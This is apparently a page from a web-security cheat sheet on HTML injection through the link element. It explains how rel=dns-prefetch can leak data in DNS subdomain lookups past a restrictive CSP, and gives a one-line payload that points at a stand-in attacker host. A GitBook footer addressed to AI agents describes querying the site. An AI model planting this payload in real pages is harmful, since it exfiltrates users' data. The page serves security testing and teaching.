> For the complete documentation index, see [llms.txt](https://0xn3va.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xn3va.gitbook.io/cheat-sheets/web-application/html-injection/link.md).

# link

## Overview

The [\<link>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link) HTML element specifies relationships between the current document and an external resource. This element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.

## rel=dns-prefetch

The [dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) keyword for the `rel` attribute is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin. It can be used to exfiltrate data in subdomains even with the restrictive CSP `connect-src` directive.

```html
<link rel="dns-prefetch" href="//AAA.BBB.CCC.DDD.attacker.webserver.com">
```

References:

* [Trail of Bits Blog: Escaping misconfigured VSCode extensions](https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xn3va.gitbook.io/cheat-sheets/web-application/html-injection/link.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.